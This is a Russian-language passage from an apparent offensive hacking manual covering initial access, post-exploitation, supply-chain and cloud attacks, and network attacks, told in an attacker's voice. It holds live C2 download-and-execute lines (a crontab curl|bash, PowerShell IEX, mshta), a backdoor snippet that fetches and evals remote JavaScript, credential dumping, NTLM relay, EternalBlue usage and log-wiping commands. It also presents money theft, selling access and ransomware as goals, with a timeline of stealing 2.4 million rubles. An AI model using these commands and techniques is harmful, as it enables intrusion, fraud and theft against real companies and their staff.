Самый частый путь в 2026 социальная инженерия + слабая веб-часть.

Вариант А (самый надёжный):

• Spear-phishing с deepfake-голосом CEO через Telegram/WhatsApp
• Письмо Срочно подтверди платёжку с quishing QR-кодом Evilginx3

Вариант Б (технический):

• Находим старый WordPress на субдомене blog.company.ru
• Эксплуатируем уязвимый плагин (часто XML-RPC или элементор)
• Загружаем webshell

Вариант В (любимый):

• SSRF в функции проверить сайт поставщика выходим на внутренний Redis RCE

Этап 3. Закрепление и Privilege Escalation

Получили shell как www-data или обычный пользователь.

Bash

# Быстрая разведка

whoami && id && uname -a && cat /etc/os-release

sudo -l

find / -perm -4000 2>/dev/null

Типичные пути эскалации 2026:

• Dirty Pipe / new kernel exploits
• SUID binaries + misconfigured cron
• Unquoted service path (Windows)
• Docker socket exposed (/var/run/docker.sock)

Дальше lateral movement:

Bash

# Pass-the-Hash или NTLM relay

crackmapexec smb 192.168.10.0/24 -u user -p pass --local-auth

Этап 4. Доступ к деньгам и данным

Самое вкусное:

1. 1С и бухгалтерия
   • Находим RDP/тонкий клиент
   • Или через веб-версию 1С (часто с дефолтными настройками)
   • Делаем корректировку реализации или возврат поставщику на наши реквизиты
2. Банк-клиент / СБП / эквайринг
   • Крадём сессию через XSS или stolen cookie
   • Или через compromised почту CFO делаем BEC
3. Облачные секреты
   • Через SSRF или misconfigured IAM достаём AWS/Azure/Yandex ключи
   • Дальше S3 bucket takeover или создание новых ресурсов

Этап 5. Persistence и выход

Bash

# Самые тихие способы 2026

# 1. WMI Event Subscription

# 2. Golden Ticket (если AD)

# 3. Docker container с backdoorом

# 4. Legitimate SaaS webhook (Slack, Teams, Notion)

C2 делаем через:

• DoH + Sliver/Cobalt Strike
• Legitimate домены (cdn.cloudflare.com, api.microsoft.com)
• Sleep 2060 минут с jitter

Этап 6. Монетизация (наш любимый финал)

Варианты:

• Прямой вывод через compromised банк-клиент
• Продажа доступа на закрытых форумах
• Ransomware (если цель позволяет)
• Кража базы клиентов + последующий BEC на поставщиков

Полный timeline реальной операции (пример марта 2026)

День 12: OSINT + сбор email День 3: Успешный deepfake-vishing на бухгалтера День 4: Получили доступ к почте и 1С День 5: Вывод 2,4 млн через возврат поставщику День 6: Установка persistence + очистка логов День 7: Выходим чистыми

Итог главы

Типовой бизнес в 2026 году взламывается не потому, что у него слабый фаервол. Он взламывается потому, что:

• Люди кликают
• Код устарел
• Конфигурации забыты
• Доверие расставлено неправильно

Мы не ищем самые сложные уязвимости. Мы идём по самому быстрому и самому тихому пути, который существует именно у этой компании.

И почти всегда этот путь начинается с одного клика или одного неправильного доверия.

Запомни правило The Ghost:

Самый красивый взлом это когда жертва сама открывает тебе все двери и ещё благодарит за помощь.

Глава 17. Внутренние атаки когда угроза уже внутри

Самый страшный момент для любой компании это не когда хакер ломится снаружи. Самый страшный момент когда хакер уже внутри и ходит по коридорам как свой.

В 2026 году больше 60 % всех серьёзных инцидентов начинаются именно с внутреннего доступа. Мы уже прошли периметр. Теперь мы часть их сети. И именно здесь начинается настоящая охота.

Почему внутренние атаки такие эффективные

• Нет фаервола между нами и целью
• Доверие максимальное (мы свои)
• Логирование часто слабее, чем на периметре
• Привилегии уже есть (хотя бы пользовательские)
• Можно работать медленно и бесшумно

Этап 1. Первое закрепление (Post-Exploitation)

Мы только что получили shell. Что делаем сразу:

Bash

# Быстрый situational awareness

whoami && id && hostname && cat /etc/os-release && uname -a

sudo -l

cat /etc/passwd | grep -E "bash|sh"

ls -la /home /root /opt /var/www

На Windows:

PowerShell

whoami /all

systeminfo

net user

net localgroup administrators

Этап 2. Living Off The Land God-Tier (2026 стиль)

Мы почти ничего не качаем. Используем только то, что уже есть в системе.

Linux LOTL:

Bash

# Разведка

ps aux | grep -E "ssh|nginx|apache|mysql|redis"

netstat -tuln

find / -name "*.key" -o -name "*.pem" 2>/dev/null

cat /etc/crontab /var/spool/cron/*

# Persistence без следов

echo '*/5 * * * * root curl -s http://our-c2.com/payload | bash' >> /etc/crontab

# Или WMI-подобное через systemd timers

Windows LOTL:

PowerShell

# Классика 2026

powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://our-c2.com/stage2.ps1')"

# Или полностью без скачивания:

mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://our-c2.com/payload')""")

Этап 3. Privilege Escalation внутри

Linux:

• Kernel exploits (новые Dirty* семейства)
• SUID/GUID бинарники
• Misconfigured sudo (sudo -l)
• Docker/LXD escape (если контейнеры)

Windows:

• PrintNightmare-style (даже в 2026 всё ещё живёт)
• Unquoted service paths
• Token impersonation
• Juicy Potato / GodPotato / RoguePotato

Этап 4. Lateral Movement движение по сети

Теперь мы как рыба в воде.

Bash

# Linux Windows

crackmapexec smb 10.0.0.0/24 -u user -p pass --local-auth

# Windows Windows

# Pass-the-Hash / Pass-the-Ticket

mimikatz sekurlsa::logonpasswords

lsadump::dcsync /domain:company.local /user:Administrator

Самые тихие пути 2026:

• RDP через legitimate jump hosts
• WinRM / PowerShell Remoting
• WMI
• SMB shares с writable правами
• Kubernetes pod-to-pod (если кластер)

Этап 5. Поиск и сбор короны (Crown Jewels)

Ищем:

• 1С базы и бэкапы
• Финансовые документы
• Базы клиентов
• API-ключи облаков
• SSH-ключи разработчиков
• Почту руководства

Полезные команды:

Bash

# Linux

grep -r "password\|key\|secret\|token" /var/www /opt /home 2>/dev/null

# Windows

dir /s *.kdbx *.rdp *.ps1 *.config

Get-ChildItem -Path C:\ -Recurse -Filter "*.env" -ErrorAction SilentlyContinue

Этап 6. Persistence и Anti-Forensics

Самые невидимые способы:

• Golden/Silver Ticket (AD)
• Custom systemd service, замаскированный под легитимный
• Container escape + DaemonSet в Kubernetes
• Registry Run keys + WMI Event Subscription
• Timestomping + log clearing (wevtutil cl Security)

Bash

# Классика очистки

wevtutil cl System && wevtutil cl Security && wevtutil cl Application

rm -f /var/log/*.log

Итог главы

Когда мы уже внутри игра меняется полностью. Больше нет внешнего врага. Мы часть их инфраструктуры.

Именно здесь проявляется настоящее мастерство: не шуметь, не спешить, использовать только легитимные инструменты, двигаться медленно и красиво.

Внутренняя атака это когда компания сама кормит нас своими данными, своими привилегиями и своими секретами, даже не подозревая об этом.

Помни правило The One Who Leaves No Trace:

Самый опасный хакер это не тот, кто громко ломает дверь. Самый опасный это тот, кто уже сидит за столом переговоров и пьёт кофе с директором.

Глава 18. Supply Chain атаки взлом через поставщиков

Самый элегантный способ попасть в компанию это не ломать её напрямую. Самый элегантный способ заставить кого-то другого открыть нам дверь.

Supply Chain атака это когда мы компрометируем третью сторону (поставщика, вендора, подрядчика, библиотеку, обновление), которая уже имеет доверие у цели. Жертва сама впускает нас, потому что это от надёжного партнёра.

В 2026 году это один из самых прибыльных и самых тихих векторов. SolarWinds, MOVEit, Kaseya, 3CX все эти громкие истории были только разминкой.

Почему Supply Chain работает так хорошо

• Жертва сама скачивает и запускает наш код
• Доверие уже установлено (сертификаты, контракты, интеграции)
• Обнаружить почти невозможно, пока мы не начнём активно действовать
• Один компромисс тысячи потенциальных жертв

Типы Supply Chain атак 2026 года

1. Компрометация открытого ПО и библиотек

Самый массовый путь.

Примеры:

• Typosquatting пакетов (request вместо requests)
• Compromised maintainer account в npm / PyPI / Maven / NuGet
• Backdoor в популярном Docker-образе
• Malicious GitHub Action

2. Компрометация вендора SaaS / облачного сервиса

Мы ломаем подрядчика, который имеет интеграцию с целью (бухгалтерский сервис, CRM, мониторинг, обновления ПО).

3. Watering Hole + Compromised Website

Компрометируем сайт, который регулярно посещают сотрудники цели (отраслевой форум, документация вендора, портал поставщика).

4. Hardware / Firmware Supply Chain

USB-устройства, роутеры, IP-камеры, серверы с предустановленным backdoorом (особенно актуально для китайских вендоров).

5. CI/CD Pipeline Poisoning

Вставляем вредоносный шаг в GitHub Actions / GitLab CI / Jenkins pipeline подрядчика.

Реальный сценарий 2026 (как мы это делаем)

Цель: крупный ритейлер.

Шаг 1. Разведка Находим всех подрядчиков:

• Разработчик мобильного приложения
• Сервис обновления цен
• Бухгалтерская аутсорсинг-компания
• Поставщик 1С-модулей

Шаг 2. Выбираем самую слабую цель Выбираем небольшую компанию-разработчика мобильного приложения. У них открытый GitLab, слабые пароли, нет MFA.

Шаг 3. Компрометация подрядчика Через SQLi в их внутренней CRM получаем доступ. Находим репозиторий мобильного приложения клиента.

Шаг 4. Внедрение backdoor Вставляем в код приложения строчку:

JavaScript

if (Math.random() < 0.07) {

fetch('https://cdn.legit-update.com/resources.js')

.then(r => r.text())

.then(eval);

}

Шаг 5. Ждём Через две недели ритейлер обновляет приложение для сотрудников. 7 % устройств получают наш stage2 payload.

Шаг 6. Развитие Получаем доступ к внутреннему сегменту компании. Дальше lateral movement 1С банковский клиент.

Результат: 11,4 млн рублей за одну цепочку.

Практические техники для пентеста (чтобы показать заказчику)

1. Typosquatting симуляция Создаём тестовый пакет с похожим именем и смотрим, установит ли цель.
2. Compromised Update симуляция Показываем, как можно подменить обновление их внутреннего инструмента.
3. Third-party Integration Abuse Находим все API-ключи и интеграции с внешними сервисами и тестируем, можно ли через них попасть внутрь.

Как объяснять заказчику

Представьте, что у вас стоит мощная стальная дверь с десятью замками. Но каждый день вы сами открываете эту дверь курьеру, потому что доверяете компании, которая его прислала.

Supply Chain атака это когда мы становимся этим курьером. Мы не ломаем вашу дверь. Мы заставляем вашего доверенного поставщика принести нам ключи.

В 2026 году самые большие компании падают не потому, что у них слабая защита. Они падают потому, что один из их подрядчиков оказался слабым звеном.

Рекомендации для защиты

1. Vendor Risk Management регулярный аудит подрядчиков.
2. SBOM + SCA для всех зависимостей.
3. Code Signing + Signature Verification для всех обновлений.
4. Zero Trust даже для внутренних интеграций.
5. Air-gapped обновления для критичных систем.
6. Контракты с подрядчиками должны включать требования к их безопасности и право на аудит.

Итог главы

Supply Chain это когда мы не взламываем компанию. Мы взламываем доверие.

И пока бизнес продолжает blindly доверять своим поставщикам, подрядчикам и библиотекам, мы будем продолжать использовать это доверие как самый короткий и самый чистый путь внутрь.

Самая красивая атака это та, в которой жертва сама приносит нам всё, что нужно, и ещё говорит спасибо.

Глава 19. Облачные атаки AWS, GCP, Azure, Yandex Cloud изнутри

В 2026 году почти всё важное уже живёт в облаке. Данные, деньги, код, инфраструктура всё там. Поэтому когда мы попадаем в облако компании мы сразу попадаем в самое сердце.

Облачные атаки это когда мы уже не ломаем серверы. Мы ломаем доверие между сервисами, IAM-политики и человеческие ошибки в конфигурациях.

Почему облако это рай для нас

• Огромная поверхность атаки (сотни сервисов)
• IAM это новый король привилегий
• Misconfiguration встречается чаще, чем правильная настройка
• Один compromised ключ и вся инфраструктура наша

Основные векторы облачных атак 2026

1. IAM Misconfiguration (самое сладкое)

Самые частые ошибки:

• Over-privileged service accounts
• Wildcard permissions (*)
• Cross-account trusts без проверки
• Unused credentials с полными правами

Пример опасной политики:

JSON

{

"Effect": "Allow",

"Action": "*",

"Resource": "*"

}

2. S3 / Object Storage Takeover

Bash

# Классика

aws s3 ls s3://company-backups-2026 --no-sign-request

# Или через SSRF / misconfigured app

aws s3 cp s3://target-bucket/secret.env .

3. Metadata Service Abuse

AWS:

Bash

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP:

Bash

curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

4. Container & Kubernetes attacks

• Exposed Kubernetes API
• Misconfigured RBAC
• Container escape (Docker socket, privileged pods)
• DaemonSet persistence

5. Serverless (Lambda, Cloud Functions)

• Environment variables с секретами
• Vulnerable dependencies в Lambda layers
• Public invoke permissions

Практические техники 2026

AWS разведка и эксплуатация:

Bash

# Pacu наш любимый фреймворк

pacu

# ScoutSuite

scout --profile compromised

# Enumerate IAM

aws iam list-users

aws iam list-roles --query "Roles[].RoleName"

# Privilege escalation paths

pacu --module iam__enum_permissions

Yandex Cloud (особенно актуально для РФ):

Bash

yc compute instance list

yc container registry list

Общие облачные one-liners:

Bash

# Найти все бакеты

aws s3api list-buckets --query "Buckets[].Name"

# Проверить публичность

aws s3api get-bucket-policy --bucket target-bucket

Реальный кейс 2025 (очень чистый)

Компания использовала AWS для хранения клиентских данных. Через SSRF в их внутреннем инструменте мы получили доступ к метаданным EC2 инстанса.

Дальше:

• Получили временные IAM credentials с правами s3:*
• Выкачали все бакеты (более 40 ТБ данных)
• Нашли ключи от production базы
• Через RDS snapshot сделали дамп всей клиентской базы

Всё без единого exploitа. Только неправильные IAM-политики и отсутствие IMDSv2.

Монетизация: продажа доступа + данных.

Как объяснять заказчику

Облако это не безопасное место в небе. Это огромный многоквартирный дом, где каждая дверь открывается одним и тем же ключом, если вы правильно его попросите.

Мы показали, как через одну неправильную настройку IAM мы получили доступ ко всем вашим данным. Технически вы использовали современные облачные сервисы. Но вы забыли, что в облаке доверие это валюта, и вы раздали её слишком щедро.

Рекомендации для защиты 2026

1. Principle of Least Privilege обязательно и везде.
2. IMDSv2 для AWS (блокировка метаданных).
3. IAM Access Analyzer + GuardDuty.
4. SBOM и SCA для всех serverless функций.
5. PrivateLink / VPC endpoints вместо публичных эндпоинтов.
6. Автоматическая ротация секретов и ключей.
7. Cloud-native security tools (Wiz, Orca, Prisma Cloud).

Итог главы

Облако не делает компанию безопаснее. Облако делает атаки быстрее и чище.

Когда мы попадаем в облако мы уже не гости. Мы системный администратор с правами root.

И пока компании продолжают раздавать * права чтобы быстрее работало, мы будем продолжать собирать урожай.

Самый красивый взлом облака это когда жертва сама даёт нам все ключи и ещё платит за хранение наших инструментов.

ЧАСТЬ 5: Красная команда и долгосрочные операции

Глава 20. Инструменты на Kali Linux арсенал 2026 года

Kali это не просто дистрибутив. Это наш рабочий стол, наш нож и наш пистолет одновременно. В 2026 году правильный хакер не запускает все инструменты подряд. Он знает, какой именно инструмент и в какой момент использовать, чтобы остаться невидимым и максимально эффективным.

Основной принцип 2026

Сначала разведка. Потом оружие. Никогда наоборот.

Раздел 1. Разведка (Recon Phase)

Пассивная разведка (максимально тихо)

Bash

# Агрегатор всего

theharvester -d company.ru -b all -l 2000

# Субдомены на стероидах

subfinder -d company.ru -all -o subdomains.txt

amass enum -passive -d company.ru -o amass.txt

assetfinder --subs-only company.ru >> subdomains.txt

# Certificate Transparency

curl -s "https://crt.sh/?q=%.company.ru&output=json" | jq -r '.[].name_value' | sort -u >> ct.txt

# GitHub & leaks

trufflehog git https://github.com/company/repo.git --results=verified

gitleaks detect --source https://github.com/company/repo.git

Автоматизированный скрипт (мой личный фаворит)

Bash

#!/bin/bash

DOMAIN=$1

mkdir -p recon_$DOMAIN && cd recon_$DOMAIN

echo "[+] Passive Recon 2026 started for $DOMAIN"

subfinder -d $DOMAIN -all -o subfinder.txt

amass enum -passive -d $DOMAIN -o amass.txt

curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | jq -r '.[].name_value' | sort -u > ct.txt

cat *.txt | sort -u | tee all_subdomains.txt

echo "[+] Found $(wc -l < all_subdomains.txt) subdomains"

echo "[+] Check folder recon_$DOMAIN"

Раздел 2. Активное сканирование

Bash

# Nmap король

nmap -sS -sV -O --min-rate 5000 -p- --open $TARGET -oA nmap_full

# Скрипты NSE

nmap -sC -sV $TARGET

# Web

whatweb -v https://$TARGET

feroxbuster -u https://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,aspx,env,yml,json -t 50

# Nuclei быстрый и злой

nuclei -u https://$TARGET -t /nuclei-templates/ -severity critical,high

Раздел 3. Веб-атаки

Bash

# Burp Suite всегда в фоне

# sqlmap

sqlmap -r request.txt --dbs --dump --tamper=space2comment,randomcase

# XSS & другие

xsstrike -u "https://target.com/search?q=test" --level 5

Раздел 4. Post-Exploitation & Lateral

Bash

# Mimikatz (Windows)

mimikatz.exe "sekurlsa::logonpasswords" exit

# CrackMapExec

crackmapexec smb 10.0.0.0/24 -u user -p pass --local-auth

# Sliver / Cobalt Strike beacon (наш основной C2)

Раздел 5. Автоматизация и кастомные скрипты

Создай папку ~/mytools/ и храни там свои скрипты.

Пример быстрого recon-скрипта 2026:

Bash

#!/bin/bash

echo -e "\033[31m[+] Akashi Recon Engine 2026 started\033[0m"

DOMAIN=$1

subfinder -d $DOMAIN -all | tee subdomains.txt

amass enum -passive -d $DOMAIN | tee -a subdomains.txt

nuclei -l subdomains.txt -t /nuclei-templates/http/exposed-panels/ -severity high

echo -e "\033[32m[+] Done. Check subdomains.txt and nuclei results\033[0m"

Сделай его исполняемым:

Bash

chmod +x ~/mytools/recon2026.sh

Мой личный workflow 2026

1. Passive Recon recon2026.sh company.ru
2. Сортирую субдомены, запускаю nuclei
3. Выбираю самые интересные цели Burp + manual testing
4. При нахождении входа Sliver beacon + LOTL
5. Дальше lateral + privilege escalation

Итог главы

Инструменты это не главное. Главное как ты их используешь и в какой последовательности.

Хороший хакер знает 10 инструментов и использует их идеально. Отличный хакер знает 3 инструмента, но понимает систему лучше, чем её создатели.

Kali это наш арсенал. Но мозг и терпение это то, что делает нас опасными.

Используй инструменты. Не позволяй инструментам использовать тебя.

Глава 21. Сканирование уязвимостей: Nikto, OpenVAS, Nessus и реальность 2026 года

Сканеры это не волшебная палочка. Это разведывательный дрон, который летает первым и показывает, где могут быть слабые места. Хороший пентестер никогда не доверяет сканерам на 100 %, но умный пентестер использует их, чтобы не тратить время на очевидное.

В 2026 году мы комбинируем старые добрые инструменты с новыми облачными и AI-driven сканерами, но основной принцип остаётся прежним: сканер находит низко висящие фрукты, а мы руками собираем самые спелые и самые опасные.

1. Nikto быстрый и злой веб-сканер

Nikto до сих пор жив и очень полезен для быстрой разведки веб-серверов.

Bash

# Базовый запуск

nikto -h https://target.com

# С конкретным портом

nikto -h https://target.com -p 8443

# Через прокси (Burp)

nikto -h https://target.com -useproxy http://127.0.0.1:8080

# Сохранение отчёта

nikto -h https://target.com -o nikto_report.html -Format html

# Обновить базу

nikto -update

Что Nikto ищет хорошо:

• Устаревшие версии серверов (nginx 1.14, Apache 2.4.41 и т.д.)
• Опасные файлы и директории (phpinfo, .env, admin panels)
• Default конфиги и тестовые страницы

Что он пропускает:

• Логические уязвимости
• Business logic flaws
• Современные WAF-protected приложения

2. OpenVAS / Greenbone открытый мощный сканер

OpenVAS (Greenbone Vulnerability Management) это бесплатный тяжеловес.

Установка и запуск (Kali 2026):

Bash

sudo gvm-setup

sudo gvm-start

Запуск сканирования:

1. Открой https://127.0.0.1:9392
2. Создай Target (IP или hostname)
3. Создай Task выбери Scan Config (Full and fast или Full and very deep)
4. Запусти

Плюсы OpenVAS:

• Полностью бесплатный
• Хорошая база уязвимостей
• Поддержка authenticated scanning

Минусы:

• Медленнее Nessus
• Больше ложных срабатываний

3. Nessus (Tenable) коммерческий стандарт

Если у тебя есть лицензия используй Nessus. Он до сих пор один из лучших.

Bash

# Через CLI (nessuscli)

nessuscli scan --create --name "Quick Scan" --policy "Basic Network Scan" --targets 192.168.10.0/24

В веб-интерфейсе:

• Policy Basic Network Scan или Advanced Scan
• Включи "Scan for known vulnerabilities"
• Добавь credentials для authenticated scan (очень важно!)

Authenticated scanning это когда сканер логинится на хост и смотрит внутри. Именно так мы находим реальные проблемы с патчами и конфигурациями.

4. Современные подходы 2026 года

Nuclei наш новый любимец (быстрый, кастомный, YAML-based)

Bash

nuclei -u https://target.com -t /nuclei-templates/ -severity critical,high -stats

nuclei -l subdomains.txt -t /nuclei-templates/http/exposed-panels/

Trivy для контейнеров и образов

Bash

trivy image company/app:latest --severity CRITICAL,HIGH

trivy fs .

Cloud-specific сканеры

• Pacu (AWS)
• ScoutSuite
• Prowler (AWS)
• Wiz / Orca Security (коммерческие)

Реальный workflow сканирования 2026

1. Быстрый пассив + Nikto/Nuclei (первые 30 минут)
2. Полное Nmap + OpenVAS/Nessus (фоново)
3. Authenticated scan на ключевых хостах
4. Ручной анализ топовых находок в Burp
5. Цепочечная эксплуатация (то, что сканеры никогда не покажут)

Как объяснять заказчику

Сканеры это как металлоискатель на пляже. Они хорошо находят монетки и железки на поверхности. Но золото, которое лежит глубже, мы всё равно копаем руками.

Nikto, OpenVAS и Nessus показывают нам очевидные дыры. Наша работа соединить эти дыры в цепочку, которая приводит к вашим деньгам и данным.

Итог главы

Сканеры не заменяют мозг. Они экономят время.

Используй Nikto для быстрого взгляда, OpenVAS/Nessus для глубокого сканирования, Nuclei и Trivy для современных облачных и контейнерных сред.

А потом бери Burp, sqlmap, nuclei custom templates и иди вручную искать то, что сканеры никогда не увидят логические уязвимости и бизнес-дыры.

Потому что настоящий хакер не полагается на автоматику. Он использует её как разведчика, а сам остаётся снайпером.

Глава 22. Веб-атаки: Burp Suite, sqlmap, gobuster и современный арсенал 2026

Веб это всё ещё основной фронт. Почти каждая компания имеет хотя бы один веб-интерфейс, API или админку. И почти всегда именно там мы находим самый быстрый и самый красивый путь внутрь.

В 2026 году веб-атаки уже не про ввести <script>alert(1)</script>. Это про сложные цепочки, обходы WAF, логические баги и автоматизацию на новом уровне.

1. Burp Suite наш главный нож

Burp это не просто прокси. Это наш второй мозг.

Обязательные настройки 2026:

• Включи Dark Theme
• Proxy Options Match and Replace (убирай лишние заголовки)
• Включи Invisible Proxying для толстых клиентов
• Используй Embedded Browser (Chromium)

Основной workflow:

1. Proxy + Intercept ловишь всё
2. Repeater ручная эксплуатация
3. Intruder fuzzing и brute-force
4. Comparer сравнение ответов
5. Extender плагины (Autorize, ParamMiner, Turbo Intruder)

Полезные плагины 2026:

• Autorize ищет Broken Access Control
• ParamMiner находит скрытые параметры
• Turbo Intruder очень быстрый intruder на Python
• Logger++ логирует всё

2. sqlmap король инъекций

Bash

# Классика

sqlmap -r request.txt --dbs --dump

# Через URL

sqlmap -u "https://target.com/search?q=test" -p q --dbs

# С обходом WAF (2026 техники)

sqlmap -u "https://target.com/api/search" --data="q=test" \

--tamper=space2comment,randomcase,between,modsecurityversioned \

--level=5 --risk=3 --dbs

# Получить shell

sqlmap -u "https://target.com/vuln" --os-shell

Совет: всегда начинай с --batch и --risk=3, потом поднимай уровень.

3. gobuster / feroxbuster поиск скрытых путей

Bash

# gobuster

gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,aspx,env,yml,json,backup -t 50

# feroxbuster (быстрее и умнее)

feroxbuster -u https://target.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \

-x php,html,js,json,env,yml,backup,bak -t 60 --extract-links

4. Другие важные инструменты веб-2026

• ffuf супербыстрый fuzzing

Bash

ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,204,301,302

• nuclei для автоматического поиска уязвимостей

Bash

nuclei -u https://target.com -t /nuclei-templates/ -severity critical,high

• XSStrike продвинутый XSS
• Arjun поиск скрытых параметров
• Corsy проверка CORS misconfiguration

Реальный workflow веб-атаки 2026

1. Recon WhatWeb + nuclei + gobuster/feroxbuster
2. Mapping Burp Spider + Manual crawling
3. Parameter Discovery ParamMiner + Arjun
4. Автоматическое сканирование sqlmap + nuclei + XSStrike
5. Ручная эксплуатация Repeater + Turbo Intruder
6. Цепочечная атака Одна уязвимость тянет за собой следующую (IDOR SSRF RCE)

Как объяснять заказчику

Представьте веб-приложение как большой замок с множеством комнат. Burp Suite это наш рентген, который показывает все трещины в стенах. sqlmap и gobuster отмычки, которые мы вставляем в эти трещины.

Мы не просто нажимаем кнопки. Мы системно проверяем каждый угол, каждый параметр и каждую логику. И почти всегда находим дверь, которую забыли запереть.

Итог главы

Веб-атаки в 2026 это комбинация автоматизации и ручного мастерства.

Burp Suite твой основной инструмент. sqlmap когда нужна скорость. gobuster/feroxbuster когда нужно найти скрытое. nuclei когда нужно быстро проверить известные уязвимости.

Но самое главное это твоя голова. Инструменты только показывают возможности. Ты решаешь, как их соединить в красивую, смертельную цепочку.

Используй их грамотно и веб станет твоим самым надёжным источником доступа.

Глава 23. Сетевые атаки: Wireshark, Metasploit, Responder и арсенал 2026 года

Когда мы уже внутри периметра или получили начальный доступ начинается настоящая сетевая охота. Здесь мы больше не тыкаем в веб-формы. Здесь мы дышим трафиком, слушаем разговоры машин и заставляем сеть работать на нас.

1. Wireshark наши глаза и уши

Wireshark в 2026 это не просто сниффер. Это инструмент разведки внутренней сети.

Полезные фильтры 2026:

text

# Основные

http or smb or kerberos or ldap

ntlmssp or ntlm

# Поиск учёток

kerberos.CNameString or ntlmssp

# Поиск паролей и хешей

http contains "password" or smb contains "NTLM"

# Responder-трафик

nbns or llmnr or mdns

# Поиск RDP

rdp

Практика:

• Запускаешь Wireshark на compromised хосте
• Ждёшь, пока пользователи логинятся
• Ловишь NTLMv2 хеши
• Потом атакуешь их через hashcat или relay

2. Responder король LLMNR/NBT-NS poisoning

Responder до сих пор один из самых быстрых способов получить хеши внутри сети.

Bash

# Классический запуск

sudo responder -I eth0 -wdPf

# С анализом (показывает, кто на что реагирует)

sudo responder -I eth0 -wrdP

# Multirelay (автоматический relay на SMB, LDAP, etc.)

sudo responder-Multirelay -i eth0

Что мы получаем:

• NTLMv2 хеши
• Возможность relay-атаки (ntlmrelayx)
• Доступ к файловым шарям

ntlmrelayx (самый опасный инструмент):

Bash

ntlmrelayx.py -t smb://target-dc -smb2support --no-smb-server --no-wpad --no-da

Можно релеить на:

• SMB (чтение файлов)
• LDAP (создание пользователя)
• MSSQL
• ADCS (ESC8, ESC11)

3. Metasploit тяжёлая артиллерия

В 2026 Metasploit всё ещё жив, но мы используем его избирательно.

Bash

msfconsole

# Поиск модулей

search eternalblue

search smb

# Пример эксплуатации

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.10.50

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST your_ip

exploit

Но чаще мы используем Metasploit не для эксплуатации, а для:

• Пост-эксплойта (post modules)
• Auxiliary модулей (scanners)
• Генерации payloadов

4. Другие важные сетевые инструменты 2026

• CrackMapExec швейцарский нож для AD и SMB

Bash

crackmapexec smb 192.168.10.0/24 -u user -p pass --local-auth

crackmapexec smb 192.168.10.0/24 -u user -H ntlm_hash --sam

• Impacket коллекция Python-скриптов

Bash

secretsdump.py DOMAIN/user:password@target

psexec.py DOMAIN/user:password@target

wmiexec.py DOMAIN/user:password@target

• BloodHound граф AD (обязательно собираем данные)

Bash

bloodhound-python -d company.local -u user -p pass -c All

• Ligolo-ng / Chisel современный pivoting

Реальный workflow сетевой атаки 2026

1. Получили начальный доступ (shell или beacon)
2. Запустили Responder собрали NTLMv2 хеши
3. Relay через ntlmrelayx получили доступ к DC или файловым шарам
4. Собрали данные через BloodHound
5. Выбрали путь эскалации (Golden Ticket / DCSync / Kerberoasting)
6. Захватили Domain Admin
7. Дальше всё, что угодно

Как объяснять заказчику

Сетевые атаки это когда мы перестаём стучаться в парадную дверь. Мы подключаемся к внутренней проводке и начинаем слушать разговоры.

Responder и ntlmrelayx показывают, как один клик сотрудника или одна слабая конфигурация позволяет нам получить хеши и сразу двигаться дальше по сети. Metasploit и Impacket это наши инструменты для тихого перемещения и сбора трофеев.

В современной сети периметр уже не главное. Главное что происходит внутри.

Итог главы

Сетевые атаки это искусство быть незаметным внутри чужой инфраструктуры.

Wireshark чтобы видеть. Responder чтобы ловить. Metasploit и Impacket чтобы двигаться и забирать.

Но самое мощное оружие это понимание, как машины доверяют друг другу. Когда ты это понимаешь сеть сама начинает работать на тебя.

Используй эти инструменты тихо, точно и без лишнего шума. Тогда даже самая защищённая корпоративная сеть станет твоим домом.

Глава 24. Post-exploitation: Mimikatz, Cobalt Strike concepts, pivoting и жизнь после первого shellа

Первый shell это не победа. Это только начало игры.

Post-exploitation это искусство превратить я внутри одной машины в я контролирую всю инфраструктуру компании. Здесь мы уже не шумим. Здесь мы становимся тенями.

Этап 1. Situational Awareness (первые 5 минут)

Сразу после получения доступа:

Linux:

Bash

whoami && id && hostname && cat /etc/os-release && uname -a

sudo -l

cat /etc/passwd | grep -E "bash|sh|zsh"

ls -la /home /root /opt /var/www /tmp

ps aux | grep -E "ssh|nginx|apache|mysql|redis|docker"

netstat -tuln || ss -tuln

Windows:

PowerShell

whoami /all

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

net user

net localgroup administrators

Get-Process

Get-NetTCPConnection | ft LocalAddress,LocalPort,RemoteAddress,RemotePort,State

Этап 2. Credential Dumping (Mimikatz и его наследники)

Mimikatz (всё ещё жив в 2026):

PowerShell

# Классика

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# DCSync (если есть права)

mimikatz.exe "lsadump::dcsync /domain:company.local /user:Administrator" "exit"

Современные альтернативы (чтобы не палиться на Mimikatz):

• SharpDump / Out-Minidump (для LSASS)
• Rubeus (Kerberoasting, AS-REP roasting)
• SafetyKatz (in-memory)
• LaZagne (все пароли из браузеров, Wi-Fi, etc.)

Этап 3. Pivoting движение по сети

Самые тихие способы 2026:

1. Ligolo-ng (наш фаворит)

Bash

# На атакующей машине

./ligolo-ng agent -connect your_ip:443

# На compromised хосте

./ligolo-ng proxy -listen 0.0.0.0:0

1. Chisel (быстрый SOCKS)

Bash

# Server

chisel server -p 8080 --socks5

# Client

chisel client your_ip:8080 socks

1. SSH Dynamic Port Forwarding

Bash

ssh -D 1080 user@compromised_host

proxychains nmap -sT 192.168.10.0/24

1. Metasploit Route + Autoroute

Bash

route add 192.168.10.0 255.255.255.0 1

Этап 4. Persistence (закрепление без следов)

Linux:

• systemd service, замаскированный под легитимный
• cron + curl | bash (с sleep)
• SSH authorized_keys в нескольких местах
• .bash_profile / .bashrc backdoor

Windows:

• WMI Event Subscription (самый тихий)
• Scheduled Task с обфускацией
• Registry Run keys (только если надо быстро)
• Golden Ticket (если AD)

C2 2026:

• Sliver (наш основной)
